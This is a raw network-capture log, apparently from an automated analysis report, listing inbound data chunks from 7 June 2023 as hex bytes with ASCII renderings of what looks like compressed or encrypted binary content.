2023-06-07 15:08:48 UTC	966	IN	Data Raw: a1 83 20 ff f9 88 1d b6 05 23 62 30 b8 a6 85 44 c8 83 6c 09 7e 1c d3 e5 ae 13 89 4b 22 06 69 d2 a7 41 bd f1 de 57 5c 23 75 02 d0 d1 ab f6 c3 00 14 80 87 a7 10 ed bf b0 60 3f 0d 8c 4a d7 f4 06 75 9e 49 6e 8a f1 3a 2e 51 64 18 14 04 a4 af 2d 60 3d d5 05 b2 b3 38 b4 44 0c ec 30 56 56 d1 a4 b6 35 68 51 91 22 a0 9f 06 83 07 70 b2 a4 57 33 8c 13 80 d4 90 c4 2e 2b 21 fc ca 00 a1 0b 77 77 08 40 b8 14 36 72 41 7a 5c ea d6 9c 69 6e 5f 5b d0 c1 2c 92 7d 51 1a d7 56 c7 39 a1 b8 28 16 32 33 01 42 af 12 fc 36 22 d2 0e d2 43 73 48 10 24 ab 6c 74 68 55 02 6e 2e 29 28 3b 65 e2 a1 09 a0 29 24 3b 06 31 6c c4 23 3b 47 3f 22 d3 2c 22 fa 4c 45 8a 36 80 5b 75 2b 70 28 8e 9a 99 1b 44 e6 14 3a f7 70 da 3c 06 3b 06 bb 10 d0 42 41 7c 57 c9 e4 ed 08 1b eb 11 24 28 21 30 d8 31 17 6b Data Ascii: #b0Dl~K"iAW\#u`?JuIn:.Qd-`=8D0VV5hQ"pW3.+!ww@6rAz\in_[,}QV9(23B6"CsH$lthUn.)(;e)$;1l#;G?","LE6[u+p(D:p<;BA\|W$(!01k
2023-06-07 15:08:48 UTC	982	IN	Data Raw: 01 12 1b 64 1f 90 58 90 5a 7f ee 24 41 d8 01 4d 19 d0 d0 4a e3 a8 cc 22 09 1c ec c4 e9 e0 07 08 ea 46 c0 c9 c4 9c 20 81 db 58 b8 c4 03 c6 dd b4 b1 98 58 e0 66 c8 14 b0 f4 05 29 81 79 c0 9b 12 84 4a a3 6b 2c 76 31 0c 60 5c 8b db 84 71 c9 f8 eb 98 53 1b 35 1f 61 55 2e c6 04 28 56 e9 68 0a 08 29 b4 2c 1b d2 05 04 a9 a2 dc 5b 82 85 4f d0 a5 16 13 a2 66 91 8c fb 9e b6 34 cc 3e 5e 46 7a c8 54 60 a6 46 68 cc a4 28 e4 84 8c 8b ff 69 ff 16 71 b3 48 75 88 79 88 3d c5 1f 02 74 47 35 03 74 2c 64 11 44 24 bc 10 07 1c fc 86 3c 10 07 2f 7f 04 80 01 c1 4a 30 1a af 84 1a b5 98 94 79 21 6d 18 e2 ce 07 23 88 39 e6 3c 5a 97 5c 37 05 61 c8 34 bc 34 a8 db 01 88 56 8b bb a0 e9 2c 00 a9 32 0d 25 84 64 1c 26 b7 6d b8 bc 0b c2 a5 d9 b9 4b 5f a0 16 ac 25 75 74 a2 7e 0e 22 b1 60 80 Data Ascii: dXZ$AMJ"F XXf)yJk,v1`\qS5aU.(Vh),[Of4>^FzT`Fh(iqHuy=tG5t,dD$</J0y!m#9<Z\7a44V,2%d&mK_%ut~"`
2023-06-07 15:08:48 UTC	998	IN	Data Raw: 64 e1 1c 22 b3 48 15 6a d1 c6 89 32 27 32 01 b5 74 16 6a 1a a2 9c a6 92 d5 e4 c3 b0 b0 3a 8b 40 1e 9c 56 52 78 2f 83 e2 18 41 b6 34 e8 ec 42 b8 b4 3e 93 18 a8 e7 24 4d 8b f0 36 23 35 0a b9 4f 0b 2e c3 02 3d cb 29 13 05 56 c1 02 2f 05 08 47 06 18 70 10 00 ae a5 ed a5 8b 4a 06 51 a5 e4 34 c2 a2 1b 81 de a2 9c 03 f2 a9 a5 54 49 db d0 c1 9a 40 54 a8 e8 5f 9a 0c 42 51 c2 86 0d 00 b9 98 40 5f 73 84 7d 44 9e 58 06 ec 7a b4 6c 0a 80 b4 09 5f 71 09 03 89 cb 56 8d 58 98 d2 26 35 31 13 4d 20 72 13 85 1c 02 22 19 c4 25 18 d9 52 93 26 b9 ec ec 4e e8 40 24 83 b0 93 e9 02 1b 47 5a f2 44 d8 92 66 30 6f 0e 3c e9 3f fc 87 c4 20 22 51 d3 7b 1f 9a a7 fd a0 58 0a b0 0c 20 a8 48 95 5a cc 94 19 d9 4c 51 36 45 9e ef 4b ea 6a 6b 9c 4a 1c 51 93 65 b6 83 88 ca 60 08 78 6f 10 f1 fe Data Ascii: d"Hj2'2tj:@VRx/A4B>$M6#5O.=)V/GpJQ4TI@T_BQ@_s}DXzl_qVX&51M r"%R&N@$GZDf0o<? "Q{X HZLQ6EKjkJQe`xo
2023-06-07 15:08:48 UTC	1014	IN	Data Raw: 63 37 2f 01 ba 8d a5 b8 5d 81 1b 61 11 07 d1 5e 15 34 94 64 51 29 18 da c0 41 56 2a 9c 2a e4 6e c3 d2 4b cb c9 27 3c 41 6c 8c 27 48 a4 47 c6 08 50 b8 24 13 87 02 32 0c 2b 71 8b ca a0 03 b2 4a f4 d0 72 a4 85 95 5f 79 ba b5 c0 89 45 58 1f d8 c7 42 1c 42 f2 c1 01 e4 20 89 45 27 74 63 20 14 00 b2 64 1e 20 38 c3 9a 42 88 8b 33 50 48 c8 67 9f 24 83 95 96 2e f4 8e 78 27 af a0 80 48 ca dd 75 71 43 d9 7c 40 e6 5f 50 01 07 d0 05 24 49 10 4f cc 18 40 91 30 0c 50 e1 9b 90 d0 2c 53 77 2a 61 c0 2d 79 88 53 e8 a0 ac c1 34 9e 40 0b 41 2f cf cb 16 b9 48 82 56 1c 93 a7 5f cd 4d 08 28 ea ed 05 42 b4 b2 a0 2d bd b4 f0 48 ea 05 69 c6 51 a5 e3 4b 43 15 c5 44 56 0b 1e 47 8e 46 28 56 13 07 eb aa 33 ec 53 00 30 28 63 93 63 30 13 83 3e 8b c8 4d 5b 60 23 58 c2 07 75 72 44 c1 5e ec Data Ascii: c7/]a^4dQ)AV*nK'<Al'HGP$2+qJr_yEXBB E'tc d 8B3PHg$.x'HuqC\|@_P$IO@0P,Swa-yS4@A/HV_M(B-HiQKCDVGF(V3S0(cc0>M[`#XurD^
2023-06-07 15:08:48 UTC	1030	IN	Data Raw: 96 d4 79 f5 dc 83 19 f7 d9 a1 61 c1 94 3b 5e 2f 59 cd 5e 82 e8 66 5c e4 35 8c 67 03 a6 26 bb 13 03 57 70 58 f6 51 b5 f4 74 9d 68 38 f0 e3 bf 80 16 42 fa 65 b0 8d a9 32 04 75 21 38 1d 3b 80 99 4c 34 37 1a 77 ec cc e0 48 6f 05 14 aa 6c 7c 81 8b a5 a6 5f d9 55 b0 6d 80 80 1f 04 8b 52 1c 42 b3 4f 70 4d e3 e8 52 e6 50 61 1b d2 56 9d 20 e9 c1 23 d0 06 db 97 df 8c 47 54 50 0f 5f 88 1c f9 8f 43 9a 8f ae 1b d4 ec a3 9e aa 29 ce d8 cf 1c ec 8c 3e b4 a0 76 4d 9e eb 33 f5 d4 99 20 94 2d f9 d4 37 72 e9 11 61 c8 cc 1d 6c 92 85 61 5d 7f ec d9 97 56 a0 e9 34 eb bc a1 2f 1d a2 05 f3 fc fd 2d d4 03 7c 80 fd 43 1c ff a4 03 06 0c 1c 8c 66 05 1f 30 28 ac 1e 99 09 18 2d b0 90 13 30 2c 63 8f 10 e0 95 8c 38 f7 98 af d2 4a 31 35 20 8d 36 69 a5 a4 cc 21 e0 68 40 e8 97 13 24 77 f2 Data Ascii: ya;^/Y^f\5g&WpXQth8Be2u!8;L47wHol\|_UmRBOpMRPaV #GTP_C)>vM3 -7rala]V4/-\|Cf0(-0,c8J15 6i!h@$w
2023-06-07 15:08:48 UTC	1046	IN	Data Raw: e3 c0 6d 00 45 c7 40 78 43 d7 24 4b 10 5e 99 c0 26 1b b7 4d 74 10 3a ae b8 83 40 c2 9f aa ef 4f 39 5e 2c 75 4a 40 a1 d1 3b 2e 3b bd 53 db 92 60 93 07 ea 2a 99 c4 66 3b 8f 3c b3 05 53 0a 3f 4b 58 51 21 78 c4 18 1e 17 1b 8e 7b 64 b1 70 05 29 4c ac c7 6a 48 14 20 46 9e b0 24 02 12 4f ba 80 a2 b4 c2 41 6d 4a b2 a6 a2 3c c6 34 04 af 05 60 3a d2 7d bc 3f f0 94 61 5d 5f 76 3d 77 9e 82 bb 80 49 75 92 fa 5c d0 54 84 5a 8d 7d c0 c0 76 0a 30 90 26 c4 59 b1 a8 d1 1b 35 4a 44 f3 a5 a6 04 47 d9 38 ed 50 50 30 fc 88 49 cf b2 84 a8 7d 9a c6 d9 c0 d4 0e 7b 43 fc 62 11 eb 0a 52 53 0d 1e 1c 49 8a be 68 60 85 08 9b 9c 54 e1 30 e1 7e f6 24 8c 91 28 8e d4 a7 81 d7 5f 0f 1d a4 de d9 03 f3 46 04 70 84 28 08 7b 53 f3 88 01 a4 85 97 29 c3 ac c8 24 0e b3 0d ec 01 0d 33 db d3 25 07 Data Ascii: mE@xC$K^&Mt:@O9^,uJ@;.;S`*f;<S?KXQ!x{dp)LjH F$OAmJ<4`:}?a]_v=wIu\TZ}v0&Y5JDG8PP0I}{CbRSIh`T0~$(_Fp({S)$3%
2023-06-07 15:08:48 UTC	1062	IN	Data Raw: 15 7a 43 3e 05 d6 29 03 31 87 d0 74 01 61 7f 53 e2 4c bd 8d dc d8 23 41 08 2b 48 66 62 67 ea f2 58 5c d0 52 c7 1e c5 a8 05 63 41 a9 fd 90 a0 cb c2 cc 09 d7 2b 5b cb 41 d5 00 98 e1 98 61 19 1d 4a 0d 20 9c 82 2a fb 82 22 2c 00 7f 54 71 76 8d 97 c4 97 c8 2a 8b 33 e5 40 f4 90 17 30 5f 0c eb 0a 4c ac 41 06 2d 1c c1 a8 b0 95 71 00 f2 01 20 83 44 10 9d 56 20 11 32 10 44 24 00 ea 28 e5 de 53 80 d2 44 5b e8 03 84 34 c6 92 cc b3 23 66 54 99 c4 26 46 28 56 08 6e 5e ca d0 00 d7 9c 2c 16 1b 17 a0 70 9f 5d 64 3f c1 20 4e 80 07 76 38 1f c1 88 24 6c 8f 87 5b 32 52 05 4a 4a ec dc 2e 41 78 4e 08 01 10 97 1e e0 42 1b 13 3c c0 ae e9 1b 19 78 b9 fd f9 e2 2e 60 c4 d8 52 18 b0 4e 93 c6 85 12 45 44 87 04 85 67 89 94 75 9e 23 10 a5 e0 69 5a 59 f0 f5 58 06 b9 03 26 c4 45 01 2e 38 Data Ascii: zC>)1taSL#A+HfbgX\RcA+[AaJ ",Tqv3@0_LA-q DV 2D$(SD[4#fT&F(Vn^,p]d? Nv8$l[2RJJ.AxNB<x.`RNEDgu#iZYX&E.8
2023-06-07 15:08:48 UTC	1067	IN	Data Raw: 38 0f 40 0a 58 00 01 38 54 67 24 cb d8 74 b4 3a 3e 21 1e d2 00 99 02 76 f3 51 b7 2b 90 03 19 92 c8 e4 48 0e 92 c8 38 c4 22 2e 8c 21 ff 1a 8c 44 04 e0 1c cf a5 5a 4b 48 87 15 ac ed c2 e0 73 30 49 0c 74 95 6e 78 45 06 8d 17 74 5e 86 0c 1c ff e8 8b fe 50 56 ed 9f 0e 8e d5 22 d9 ed ac 14 70 19 08 bb b0 b4 a0 30 25 8d 8a 12 0d a4 a4 87 8b 97 10 a6 0b 0c 64 8e 85 5f f5 e0 86 a1 93 20 a7 18 e9 15 17 3a 1e 3e fc 11 f1 e7 92 0b 40 86 e3 11 0e 73 e7 e0 20 0d 80 a0 48 59 b9 8e b1 09 b0 2d 4c 0f fd 08 6b 14 0f 3b b1 8a e8 11 92 c0 74 40 67 3b f0 7f 1a ce 21 81 77 04 a5 75 27 38 47 08 74 70 3a 68 40 4d eb 08 0b 40 60 a0 23 c1 09 08 12 10 af 20 a5 08 e3 ec 10 09 54 43 58 90 02 1f f0 93 16 b0 b8 58 2c d6 f2 a0 8c 74 9b 89 9e 13 22 5e 4c cd 5c 98 a5 18 35 2c c8 00 7f 04 Data Ascii: 8@X8Tg$t:>!vQ+H8".!DZKHs0ItnxEt^PV"p0%d_ :>@s HY-Lk;t@g;!wu'8Gtp:h@M@`# TCXX,t"^L\5,
2023-06-07 15:08:48 UTC	1083	IN	Data Raw: 2a cb d0 14 de 71 52 c7 d0 0f 24 88 ba 5a 0f 0c a5 9a a4 71 d9 bf 35 04 48 4d 4a b9 02 0b 4c 63 e5 48 d6 2f 40 53 d4 3b d0 18 10 54 06 37 a2 94 e5 2c c9 17 00 9a 97 12 fb 8e 0d c0 94 81 e7 90 50 1b 16 08 03 ce 9a 93 48 99 ad 4b 65 58 6d f0 64 63 cc 14 27 d1 4d 00 4a 65 6f e2 95 d1 8c 68 c0 93 a0 30 20 95 25 27 82 81 69 4b b9 0c 0e ef 1b 97 13 0a 4b 84 a3 6d 6a 69 00 8f 01 64 1c 20 e9 25 da 78 53 72 98 e0 c3 0c f2 cc 2d f1 a8 c9 bf 4c 96 a7 c0 29 58 5d 24 1c 8a 24 16 79 4b c1 d8 fe 1f 85 01 72 19 66 83 38 7b 75 13 35 40 06 96 3d d9 41 8d 20 6c 19 d1 44 05 f6 00 06 95 ab 5a 62 c6 c7 6c 00 9b 1a 0f 82 c1 b1 7e 50 df 12 81 67 b3 80 0c 6e 3a bb 51 bd dc 9a 36 98 b7 49 a8 61 44 22 15 db 98 0f 07 f1 80 86 e2 72 b6 d0 c2 08 14 e5 08 6b c8 6f 29 1c 60 4f 5d e0 86 Data Ascii: *qR$Zq5HMJLcH/@S;T7,PHKeXmdc'MJeoh0 %'iKKmjid %xSr-L)X]$$yKrf8{u5@=A lDZbl~Pgn:Q6IaD"rko)`O]
2023-06-07 15:08:48 UTC	1099	IN	Data Raw: 50 ba 4d c3 4f a1 3d 41 6f 42 ea 42 fb e3 ea 04 68 0b 08 da 62 49 06 84 75 28 dc 0a 21 68 46 09 e0 85 38 36 70 45 79 0f d2 95 f1 80 29 78 48 73 0d 4e 24 8c 40 d9 51 0c b9 2d c5 e0 c6 c3 e0 f8 11 20 c9 2e 69 20 53 86 50 1a 23 91 8c 6e 1b 3a 5b 91 30 21 eb 3a b0 0d 0d 56 ab 18 be 96 75 28 69 eb 54 00 03 41 89 ac a8 34 c9 0a 5f a6 11 ad 95 48 0e ac 11 11 5a 48 0b 23 42 02 b0 36 0d a7 9c b4 40 7a 5d 0f 6b db 84 70 b6 cc e5 84 09 18 3f 3b a1 58 a6 d2 18 60 1c ae d8 5a ba 94 24 35 a9 66 58 20 2f 20 24 f9 d9 2e c5 16 fe 05 d3 14 58 15 01 08 81 e6 44 cb 2e 12 c4 04 34 6d e4 b2 48 5d 4f d5 d0 06 9e eb a6 35 d9 ec 4f 78 1e 40 39 b7 e7 4d f2 30 f0 b4 0e 1d fc 71 d8 1a 0b 69 51 bd 48 00 2b 24 9b c0 12 30 a3 39 e4 07 a0 b7 34 8a 40 43 9f 7e 81 10 b0 eb ff ef fc 05 4d Data Ascii: PMO=AoBBhbIu(!hF86pEy)xHsN$@Q- .i SP#n:[0!:Vu(iTA4_HZH#B6@z]kp?;X`Z$5fX / $.XD.4mH]O5Ox@9M0qiQH+$094@C~M
2023-06-07 15:08:48 UTC	1115	IN	Data Raw: ba 32 87 18 6a c1 64 1a 16 33 1f 69 55 c2 a3 72 34 01 52 6b 6e c4 57 18 ac a0 86 a8 00 ab 60 61 b4 d1 4d fe 5b b6 17 c9 72 54 38 bb 82 54 a7 9c da 9f c4 2b 5c 21 76 08 a2 8b c2 ce c0 1a 67 f0 84 cf 1f 85 45 9b 0e ce 4f 02 ed 53 45 fc da f0 a8 92 4f 38 c7 06 41 f3 24 77 66 03 bd 5c f6 60 b9 77 ca c4 50 fc ca 07 62 ea 30 0b b6 1b 0d 01 d4 2d fb 1c 08 15 9c 35 ef 83 3e 8f 60 e4 47 02 47 19 78 ff cf f5 a6 ac 21 52 18 9f 4e b6 c6 1a 72 c5 65 02 43 68 d2 03 34 61 04 80 07 06 ee 54 9d 62 ed 78 7c d7 f9 6c cd 8e f5 00 01 24 6f 01 88 6d 0b 4e 1a a8 09 8c ee 8e ae c9 04 2f c7 0b bf bc 6f a4 c2 be 2e 1e d9 48 0b f1 a0 37 31 7b 07 b5 99 a5 9d ee ee c3 9a e9 1e de ef 16 ae 93 7a 40 7e 3c 47 77 c0 ca 75 11 cf 42 ab ae b7 07 b5 01 5b 6b 6c dc 58 b1 e9 d2 f4 8d 38 9f a6 Data Ascii: 2jd3iUr4RknW`aM[rT8T+\!vgEOSEO8A$wf\`wPb0-5>`GGx!RNreCh4aTbx\|l$omN/o.H71{z@~<GwuB[klX8
2023-06-07 15:08:48 UTC	1131	IN	Data Raw: c0 4a da 9a 22 80 90 03 ce cc 86 d2 67 db 5b f2 72 88 21 4c c0 8e 1c c5 a0 01 54 96 55 55 e8 18 9a 68 e3 81 40 39 86 e4 ab 13 4a 62 6c f4 aa 03 6a 40 12 0a 36 33 0c f0 c1 64 1b 47 c2 7d 09 fc 80 20 28 28 70 eb e8 88 33 40 46 08 a4 5e d8 81 84 83 76 b2 00 6a 5a 16 d1 49 84 6b 6c 6c cd ec 62 ef e6 12 0a 05 22 81 e7 a0 b4 60 1c d4 6f 59 8a 16 da 62 47 bd 56 86 71 61 c8 bc 8f 66 d2 1a b4 d8 41 4a 12 70 3b 4c 9c 28 c7 48 50 be 24 4a f0 4b 45 49 c4 56 d1 ee 04 24 e8 16 23 01 d0 2f e0 2b 87 86 1a b6 07 3a 51 2b 2d a0 c4 88 2f dc 6e 49 60 01 05 da 3a 06 b4 07 13 fa 50 85 fa c7 20 02 e1 bf 28 9c e9 69 8e 22 37 b0 2b 6d c1 01 58 f0 2b ce f8 62 bc 59 a0 47 c8 2b fa 36 46 42 3b f1 73 38 b4 55 1b d2 17 a0 74 f3 5e f5 44 8b 18 d8 e5 79 6c 63 83 16 03 c3 dc 83 f1 e0 30 Data Ascii: J"g[r!LTUUh@9Jblj@63dG} ((p3@F^vjZIkllb"`oYbGVqafAJp;L(HP$JKEIV$#/+:Q+-/nI`:P (i"7+mX+bYG+6FB;s8Ut^Dylc0
2023-06-07 15:08:48 UTC	1147	IN	Data Raw: d2 72 41 1f 90 1c 51 11 fc b5 9c 34 01 b5 20 f3 36 9e b5 69 0f fa 18 c2 0c 00 0f 5d f4 40 07 59 3f 7d a6 54 d6 a1 33 60 c2 88 cc 8d c1 a0 91 8c 29 3f d9 c9 11 94 e1 d5 a1 9a 2b 45 02 43 ae 39 f8 c2 07 84 95 1f e7 e0 51 77 94 02 89 0b 19 84 fb b6 63 03 2b b3 c2 89 10 af 08 84 4c 6d 77 5c 21 0f 2e 52 41 bc 48 39 c8 09 39 83 00 bc 48 bc 48 96 9f 48 61 de 51 56 18 dc 13 09 30 85 4d fc bf 79 e3 73 5d bc 58 8e ac 98 73 a5 85 03 37 49 fd 51 53 da 93 bc 22 98 83 10 21 dc fe 47 e5 c0 66 5d 39 20 51 20 47 dd 6c 5e df fb 0d 0e 83 30 b8 b4 13 34 f1 3c df fb 7d 13 38 42 d0 89 0d 12 3c 47 40 bc b8 6c 0e b9 44 48 de 43 4c 30 1a 2e 52 21 0e 56 42 0e 8d a4 61 bc 44 83 1c a4 72 82 60 0a bc 44 bc e0 9e 64 90 44 02 52 88 bf 6f 6b 93 c6 40 85 de a5 01 a9 7c b0 4f 51 4a c4 70 Data Ascii: rAQ4 6i]@Y?}T3`)?+EC9Qwc+Lmw\!.RAH99HHHaQV0Mys]Xs7IQS"!Gf]9 Q Gl^04<}8B<G@lDHCL0.R!VBaDr`DdDRok@\|OQJp
2023-06-07 15:08:48 UTC	1163	IN	Data Raw: a5 39 43 b8 45 bc b6 e1 a4 56 c8 7b 18 98 54 26 82 10 6d a8 a8 d6 84 72 90 34 30 a0 71 8c 14 eb c4 db 38 ad 49 ad 4e a0 51 71 08 5d 2e c4 b6 11 99 49 ad 1b 34 9e a7 10 57 8d 7d cc 75 1b cb 3f 09 bb d4 ff 75 d8 41 b1 ba 2d c9 71 2d 60 b0 c5 b8 69 6a 2b fa 80 49 a0 f1 aa d0 2b e4 4a ae 64 cc c4 a8 4a 9e 90 a3 c0 22 86 7f 08 02 39 c5 85 35 87 68 bc a2 e4 ab 88 42 48 9e 20 14 b1 49 35 b1 0f 6e d9 c6 4f 02 7e 2b 2c e4 97 15 dc 8d 46 10 df 40 63 25 a9 95 74 13 77 a1 b5 0a 36 2a 1b f7 27 ac 2a d1 59 05 8b c3 46 28 d0 10 41 c4 39 54 21 55 cf b3 89 10 11 f2 02 21 64 36 3f 1c 85 92 8c f9 c0 0e 15 58 94 65 d8 ab 03 2d 63 70 9c f8 11 4a 32 ce 14 f9 92 f1 9a 58 15 e8 d4 c4 a0 50 c7 35 cd 22 b1 72 bc 6b 2b 67 04 84 92 8c bb 21 39 54 20 5d 8a 6e 2a 5a c6 1e 51 36 9b cd Data Ascii: 9CEV{T&mr40q8INQq].I4W}u?uA-q-`ij+I+JdJ"95hBH I5nO~+,F@c%tw6'YF(A9T!U!d6?Xe-cpJ2XP5"rk+g!9T ]n*ZQ6
2023-06-07 15:08:48 UTC	1179	IN	Data Raw: 07 0a 0a 93 7b ff 01 95 8a 14 72 24 ac 68 01 a1 0d a5 c3 42 ba 08 54 e8 b6 f9 c8 86 80 9b aa 72 16 c9 e5 02 97 90 23 1b 02 d6 95 9a 34 25 0f 92 5e 93 a6 53 80 ee 43 86 47 87 4a 92 a1 51 a2 13 ec 02 be 19 fe bf 58 6b 4d ec 70 84 8b 36 50 03 f1 47 3b 66 9a c3 d4 14 10 d9 68 43 c0 22 b0 15 c9 43 c1 27 23 57 4c 22 b2 21 60 f9 14 56 03 40 13 55 ab 0a 02 f1 1d 44 65 5b 08 43 07 15 41 e9 8c b8 1f 8c 5e 72 92 95 bc 8c b8 8c b8 8c c0 5b 80 be b5 22 13 c4 41 43 80 db 91 ff a3 6d 61 8d 84 7c fd 8c c8 11 37 90 46 13 f0 21 a2 83 ff 0a 6e 90 5f 11 0a 04 eb 0b 57 13 38 33 40 a3 33 ed 10 0e c8 2f 8b d4 da 80 c3 66 02 f5 a1 ed 51 53 7b 50 8b b4 60 a1 56 93 f8 d7 d3 06 44 df f8 59 56 0f 81 40 2f ed 5f df 22 d9 78 73 33 6a 2d f8 74 2b 6a f4 0a 9d 7c 79 2e 23 f8 74 1b 13 08 Data Ascii: {r$hBTr#4%^SCGJQXkMp6PG;fhC"C'#WL"!`V@UDe[CA^r["ACma\|7F!n_W83@3/fQS{P`VDYV@/_"xs3j-t+j\|y.#t
2023-06-07 15:08:48 UTC	1195	IN	Data Raw: 7d 20 11 40 8b 21 08 c9 82 81 5c 41 69 85 10 91 0c 90 1c 14 02 18 20 41 c9 14 2f 91 85 48 3d 1a 53 af 35 17 4a 10 d2 0f 27 04 b0 6d 08 01 eb 07 27 22 58 34 5a 55 af 46 8b 00 ae 04 55 e4 28 64 2a 05 14 68 36 24 ad 5d 81 48 85 ba ec cb 0a 7f d5 28 e3 23 f6 e2 8d 4b c4 68 35 05 3f 6c 86 30 46 50 f7 44 9d 80 d1 b7 18 a5 c4 8f 30 35 56 68 30 04 01 03 35 28 a3 58 ee 34 44 02 8a 61 ea 8a 42 34 72 47 1b c2 98 36 c6 48 be 90 93 72 0c 49 5d d6 c0 0a 48 40 d5 81 6c 2d 11 eb 73 2c 0b fc 22 0f 58 b2 c4 14 cc 89 31 d7 90 3d a0 00 59 0c 8e d2 6d 52 85 0c 18 f7 c8 5a 5b 82 ac 49 03 ae 27 7a 8d 5a 82 02 12 e0 a9 89 47 1b 42 43 3c 79 c1 99 22 79 96 30 e4 2f 20 01 27 e4 00 e5 88 55 4c 04 90 5f 89 a2 10 10 81 f1 90 1c 49 65 dc cf 94 86 70 80 1c 8c 0e 0a 01 11 78 2b f9 5a c0 Data Ascii: } @!\Ai A/H=S5J'm'"X4ZUFU(d*h6$]H(#Kh5?l0FPD05Vh05(X4DaB4rG6HrI]H@l-s,"X1=YmRZ[I'zZGBC<y"y0/ 'UL_Iepx+Z
2023-06-07 15:08:48 UTC	1211	IN	Data Raw: 54 76 9a 7e 8e 50 c1 ba 26 9d 18 9e 42 84 e6 00 ca 78 c2 50 ea a7 a2 cd 27 83 10 0b c6 f2 08 31 c9 a5 12 8f 76 02 fc 85 ca 65 d8 2d 25 86 ff 87 50 b2 99 36 9e 12 57 70 b8 3c d1 c2 8b d6 66 e1 86 2d 5e 44 83 64 d5 53 24 1a e9 71 eb 82 08 15 68 ed 22 ae 88 34 f1 03 d6 27 3d c8 6b 39 09 32 b4 87 03 81 0d e9 95 39 0e 19 38 24 1f 02 e9 78 0d eb d2 7d 6d 65 b6 21 13 e9 4a 81 d1 c4 ce 87 5c 11 0e e9 37 61 61 45 0f f6 18 eb 9f 5b 16 eb 7e d7 1f fc db 28 13 05 7b 0b e9 f9 00 45 9c dc 96 3b 20 05 da 87 4c 6c dc f1 1e 0f e9 be 75 78 48 3e b9 25 04 e9 a0 23 eb c3 ba 9d 16 2b 0b 95 60 5f 06 68 12 57 02 66 0a eb 77 0a 0a 00 c6 6f 2d 60 ae 42 ae ab 76 20 1c c1 c1 bf 0a 85 03 f3 6c 9f 7d 3d 6a 09 0f 00 24 69 dc 06 6b af c0 f3 3c 9b 67 70 a7 fc 71 51 a6 fb d9 6c 9e 67 72 Data Ascii: Tv~P&BxP'1ve-%P6Wp<f-^DdS$qh"4'=k9298$x}me!J\7aaE[~({E; LluxH>%#+`_hWfwo-`Bv l}=j$ik<gpqQlgr
2023-06-07 15:08:48 UTC	1227	IN	Data Raw: 30 78 c3 32 0d 18 30 2b 2c 59 02 5f b8 e4 34 38 59 05 e8 a7 09 5b e3 b8 02 02 77 cc d5 08 f8 d0 0c 93 b2 5a d1 1b 75 62 83 a9 50 61 8d 49 a3 a3 25 dd 10 85 18 6a 03 3d 96 e2 81 22 05 e0 a4 c1 3f 6b 60 ed 11 ae c2 88 1d 04 40 1b d6 25 44 a3 f0 68 0f 44 ad 22 52 9b 6d 18 78 a6 a8 d2 43 1a 5a 43 39 58 4b 08 5d 12 10 70 8c 17 a2 14 00 c1 95 11 c6 45 9a 40 b9 6c 8d 4a 22 b5 f1 aa c4 9a 19 23 68 94 53 44 e4 05 43 76 58 09 40 1a 7c 73 b8 90 a9 4b a7 14 07 04 19 25 18 d9 ff 3f 2d 11 03 75 0f 53 5a b7 69 00 cb 07 c2 0a 93 f3 60 55 9e 81 41 2a a0 55 85 32 0e 84 b3 76 7c ec 4f 12 be 65 0c d4 19 4b 89 0b 80 80 57 f1 0d 82 01 64 2b 99 bb 7c 16 81 7b 03 c9 ef 6c 41 24 e8 88 3e f3 42 a8 26 47 83 f4 bb b3 43 48 56 04 50 de e8 f4 eb dc 56 03 17 05 77 ed ec 21 43 20 97 06 Data Ascii: 0x20+,Y_48Y[wZubPaI%j="?k`@%DhD"RmxCZC9XK]pE@lJ"#hSDCvX@\|sK%?-uSZi`UA*U2v\|OeKWd+\|{lA$>B&GCHVPVw!C
2023-06-07 15:08:48 UTC	1243	IN	Data Raw: 6e 18 c9 dc 48 c6 54 97 55 e6 7c 46 0d 06 99 33 ec 32 ef cb 63 9a 93 83 c9 14 04 e8 e8 e8 ec b6 10 76 40 e9 15 b7 02 a4 f7 82 7d e8 b0 e8 32 25 5f 33 b5 4e 08 b1 8c 28 e7 2b 39 00 5b 02 57 55 6c 25 48 98 90 06 22 fb 30 ac 40 27 79 1f 24 07 d8 0f 8b f8 e9 c6 01 91 52 cc 07 0e 08 61 df b5 bc 96 4d 60 39 e8 32 21 c7 a1 15 14 88 78 08 02 3a 53 04 d1 03 d3 1e 08 41 df 0a c8 17 f8 a1 0b be 46 d5 94 a3 10 85 3b 1e 04 3c 81 7d 24 26 5a c6 07 51 75 24 c7 46 6d 42 40 0d 0e 6a 90 02 df 51 40 49 c7 10 1a f4 62 e8 74 2a 81 85 c5 f0 f6 90 e7 00 c1 c1 05 9d 14 b4 07 20 08 4f b8 88 75 72 61 01 5a f7 a2 38 15 ca 83 48 cb 3c ac 2f 2a 61 98 3b 13 56 9c b1 39 cb d3 13 88 05 bf 1b 11 02 56 8e 44 a4 00 b6 86 4b 13 e6 56 0c d1 c6 2b 0b 3c 1c 3e 28 c4 08 03 c1 18 13 e4 f9 4a 76 Data Ascii: nHTU\|F32cv@}2%_3N(+9[WUl%H"0@'y$RaM`92!x:SAF;<}$&ZQu$FmB@jQ@Ibt* OuraZ8H</*a;V9VDKV+<>(Jv
2023-06-07 15:08:48 UTC	1259	IN	Data Raw: 6c 0c 06 58 7d 22 90 8d 91 f0 57 1e 9c 56 41 4b da 51 5b 1c d0 46 40 b9 e9 20 a3 2c 9f 49 85 4c b5 4d 91 14 73 da 78 87 2c 54 20 15 00 86 b7 6c 08 7d 39 8b 04 04 84 f3 22 f8 86 49 96 43 79 b1 47 0b df df 2e a7 a3 22 49 bc 77 d4 91 a4 02 a5 04 0a e9 0d 98 c3 e9 d0 d9 56 58 77 96 26 e0 2d c8 55 c5 60 ba 05 4f 36 5e 80 1c 69 48 04 09 28 32 13 3b 15 5c b1 0a 90 50 0a 4c 24 10 47 40 d1 e2 25 c0 15 50 61 45 58 24 3f 77 92 94 8e 43 16 2c 48 58 e8 41 05 4b 3a d9 83 12 94 2c 04 73 02 06 a7 86 10 cd 0a f2 41 10 1c 89 6b b6 58 52 09 c0 d1 12 c1 5e 05 ff 62 13 ba 8e 4e cf 48 07 1b cb 02 71 28 d2 c9 f0 a0 81 7b 27 75 01 41 fd 18 04 a6 38 07 74 82 25 b4 47 37 22 a7 a7 1a 93 50 4c 50 b0 40 b4 63 af 5a b3 6c 61 59 85 51 64 58 2f c5 de c4 8e 14 63 27 34 c0 14 25 eb c0 8e Data Ascii: lX}"WVAKQ[F@ ,ILMsx,T l}9"ICyG."IwVXw&-U`O6^iH(2;\PL$G@%PaEX$?wC,HXAK:,sAkXR^bNHq({'uA8t%G7"PLP@cZlaYQdX/c'4%
